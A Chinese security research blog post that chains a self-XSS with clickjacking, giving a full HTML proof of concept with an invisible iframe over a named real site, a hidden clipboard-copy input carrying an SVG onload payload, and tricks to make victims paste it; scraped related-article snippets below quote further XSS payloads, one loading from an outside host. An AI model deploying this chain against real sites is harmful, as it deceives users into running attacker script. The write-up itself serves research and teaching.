前言

作者：米斯特安全攻防实验室-Vulkey_Chen

博客：gh0st.cn

这是一个鸡肋性质的研究，也许有些标题党，请见谅～

本文启发于一些讨论，和自己脑子里冒出来的想法。

组合拳搭配

Self型XSS

已知Self型XSS漏洞是这样的：

相信看见图片基本上已经知道这个漏洞形成的原因了，该功能点有一个编辑预览的，输入XSS的payload就触发。

局限点在于这个漏洞是Self型(Myself)，也就是只能自己输入->自己触发漏洞。

变换思考

重新理一下这个漏洞触发的流程：

1.输入XSS payload:

<svg/onload=alert(1)>

2.触发

那么是否也可以理解为这样的一个触发流程：

1.XSS payload就在剪贴板中

2.黏贴到文本框

3.触发

也就是说在这里我只需要沿着这个流程向下拓展，是否可以让我变换的触发流程文字变成代码形式。

顺推流程

触发流程顺推为攻击流程：

1.诱导受害者点开连接

2.诱导受害者点击复制按钮

3.诱导受害者黏贴剪贴板的内容

4.顺利触发XSS漏洞

这一切的攻击流程看起来可操作性并不强，但实际上还是会有很多人中招。

搭配谁？

以上的攻击流程都需要在同一个页面中触发，那么就需要一个点击劫持的配合。

“上天总是眷顾长得帅的人”，在这里确实也存在着点击劫持的问题：

代码思考&构建

复制功能

按流程来构建，首先构建复制到剪贴板的功能：

JavaScript有这样的功能，代码如下，自行 ”食“ 用：

<script type="text/javascript">

function cpy(){

        var content=document.getElementById("test");//获取id为test的对象

        content.select();//全选内容

        document.execCommand("Copy");//执行复制命令到剪贴板

}

</script>

HTML代码如下：

<input type="text" id="test" value='<svg/onload=alert(1)>'><br>

<input type="submit" value="test">

界面如下：

问题：

虽然作为一个PoC来说，不需要那么苛刻的要求PoC的严谨性，但这里处于研究探索的目的还是需要解决问题，如果input标签的内容显示出来，那么就很容易暴露本身的攻击。

针对这类问题一开始我想到的是使用hidden属性构建为如下的HTML代码：

<input type="hidden" id="test" value='<svg/onload=alert(1)>'><br>

<input type="submit" value="test">

经过测试发现并不能成功的使用复制功能，我的理解是因为在JavaScript代码中有这样一段内容：

...

content.select();//全选内容

...

既然是全选内容那么一定要有这样一个编辑框或者输入框的存在，所以使用Hidden从实际意义上是没有这样一个”框“的。

解决问题：

在这里我选择使用透明样式来从”视觉上隐藏“标签：

<style type="text/css">

#test { /*css id选择器*/

    /*控制不透明度的属性，兼容各大浏览器*/

    filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/

    -moz-opacity: 0; /*提供给火狐浏览器的*/

    -webkit-opacity: 0; /*提供给webkit内核的*/

    -khtml-opacity: 0; /*提供给KHTML内核的*/

    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/

    opacity: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

}

</style>

那么界面就变成如下的样子了：

注意：这里没办法使用自动复制到剪贴板，必须需要一个按钮才行

点击劫持

点击劫持之前写过一篇文章，所以就不在做讲解了，参考我之前写的一篇文章：http://gh0st.cn/archives/2017-12-20/1

构建基本CSS样式：

.testframe {

        height: 100%;

}

iframe {

        height: 100%;

        width: 100%;

        border: 0;

        margin: 0;

        padding: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

    filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/

    -moz-opacity: 0; /*提供给火狐浏览器的*/

    -webkit-opacity: 0; /*提供给webkit内核的*/

    -khtml-opacity: 0; /*提供给KHTML内核的*/

    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/

    opacity: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

}

#submit {

    position: fixed;

    width: 614px;

    height: 30px;

    margin: 0 auto;

    left: 0;

    right: 550px;

    display: block;

    top: 640px;

}

iframe框架&&输入框：

<div class="testframe">

    <iframe src="https://website/New"></iframe>

    <input type="text" id="submit">

</div>

最终PoC

<html>

<head>

<style type="text/css">

.testframe {

        height: 100%;

}

iframe {

        height: 100%;

        width: 100%;

        border: 0;

        margin: 0;

        padding: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

    filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/

    -moz-opacity: 0; /*提供给火狐浏览器的*/

    -webkit-opacity: 0; /*提供给webkit内核的*/

    -khtml-opacity: 0; /*提供给KHTML内核的*/

    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/

    opacity: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

}

#test {

    /*控制不透明度的属性，兼容各大浏览器*/

    filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/

    -moz-opacity: 0; /*提供给火狐浏览器的*/

    -webkit-opacity: 0; /*提供给webkit内核的*/

    -khtml-opacity: 0; /*提供给KHTML内核的*/

    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/

    opacity: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

}

#submit {

    position: fixed;

    width: 614px;

    height: 30px;

    margin: 0 auto;

    left: 0;

    right: 550px;

    display: block;

    top: 640px;

}

</style>

</head>

<body>

<input type="text" id="test" value='<svg/onload=alert(1)>'><br>

<input type="submit" value="test">

<div class="testframe">

    <input type="text" id="submit">

        <iframe id="test0" src="https://secquan.org/New"></iframe>

</div>

<script type="text/javascript">

function cpy(){

    var content=document.getElementById("test");

    content.select();

    document.execCommand("Copy");

}

</script>

</body>

</html>

最终演示

总结

比较打开脑洞的一次研究，苛刻的攻击条件其实在进行足够的丰富诱导下就会变得非常的有趣。

大家有任何问题可以提问，更多文章可到i春秋论坛阅读哟~

组合拳出击-Self型XSS变废为宝的更多相关文章

  1. 利用mysql对特殊字符和超长字符会进行截断的特性 进行存储型XSS攻击——WordPress <4.1.2 & <=4.2 存储型xss

    转自:Baidu Security LabXteam http://xteam.baidu.com/?p=177 漏洞概述 本次漏洞出现两个使用不同方式截断来实现的存储型xss,一种为特殊字符截断,一 ...

  2. Coremail邮件系统存储型XSS两个

    (1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.p ...

  3. 小白日记49：kali渗透测试之Web渗透-XSS（三）-存储型XSS、DOM型XSS、神器BEFF

    存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...

  4. Java Web开发 - 持久型/存储型XSS漏洞

    Java Web开发 - 持久型/存储型XSS漏洞 1.什么是XSS漏洞攻击? XSS是跨站脚本攻击(Cross Site Scripting)的简称,之所以叫XSS而不是CSS相比大家都能明白了吧, ...

  5. DVWA 黑客攻防演练（十二） DOM型 XSS 攻击 DOM Based Cross Site Scripting

    反射型攻击那篇提及到,如何是"数据是否保存在服务器端"来区分,DOM 型 XSS 攻击应该算是 反射型XSS 攻击. DOM 型攻击的特殊之处在于它是利用 JS 的 documen ...

  6. DVWA 黑客攻防演练（十一） 存储型 XSS 攻击 Stored Cross Site Scripting

    上一篇文章会介绍了反射型 XSS 攻击.本文主要是通过 dvwa 介绍存储型 XSS 攻击.存储型 XSS 攻击影响范围极大.比如是微博.贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码 ...

  7. 【代码审计】大米CMS_V5.5.3 后台多处存储型XSS漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  8. 【代码审计】QYKCMS_v4.3.2 前台存储型XSS跨站脚本漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  9. 【代码审计】iZhanCMS_v2.1 前台存储型XSS漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

随机推荐

  1. nio实现原理

    nio是事件驱动,当soket有消息过来时才开启线程,bio每当有连接时,就开启一个线程,长连接的话,就有太多的空闲连接占用线程内存 nio是非阻塞长连接 ServerSocketChannel:饭店 ...

  2. Module 的语法

    模块功能主要由两个命令构成:export和import.export命令用于规定模块的对外接口,import命令用于输入其他模块提供的功能. 一个模块就是一个独立的文件.该文件内部的所有变量,外部无法 ...

  3. day04-Servlet介绍(1)

    1.servlet的概述 a.什么是servlet --servlet是javaWeb的三大组件(Listener,Filter)之一,他属于动态资源 --servlet的作用是(10086): 服务 ...

  4. 探究osg中的程序设计模式【目录】

    前序 探究osg中的程序设计模式---开篇 探究osg中的程序设计模式---创造性模式 探究osg中的程序设计模式---创造型模式---Factory(工厂)模式 探究osg中的程序设计模式---创造 ...

  5. Solved: RDP Disconnected – Error Code 2825 mremote

  6. Git push 提交代码到远程global user.name错误解决办法

    问题:安装了Git-1.9.4-preview和TortoiseGit等工具后,Git服务器开通了账号和密码并配置了邮箱.克隆了服务器代码到本地,按需求进行代码开发.提交本地代码到服务器时出现错误.具 ...

  7. DWR使用总结

      这两天学了下DWR,现在总结一下. DWR是方便使用AJAX连接JS和JAVA的的一个框架,把服务器端 Java 对象的方法公开给 JavaScript 代码. 如果是用dwr2.0的jar包,还 ...

  8. 解决Xcode8模拟器无法删除应用的问题

    关闭模拟器的​3DTouch.Hardware​ →Touch Pressure→Use Trackpad Force.

  9. FTP模式简式：PORT/PASV/EPRT/EPSV

    简介 常见FTP有两种模式:PORT(主动模式).PASV(被动模式). 而EPRT/EPSV模式出现的原因是FTP仅仅提供了建立在IPv4上进行数据通信的能力,它基于网络地址是32位这一假设.但是, ...

  10. PAT DFS，BFS，Dijkstra 题号

    为什么要分类刷题: 因为刷⼀道算法题需要花⼀两个⼩时甚⾄半天,平时我们还要上课做别的事情,你在⼀段时间内刷算法如果只按照顺序,可能今天遇到了⼀道最短路径的题⽬,弄了半天好不容易看懂了别⼈的代码,以为⾃ ...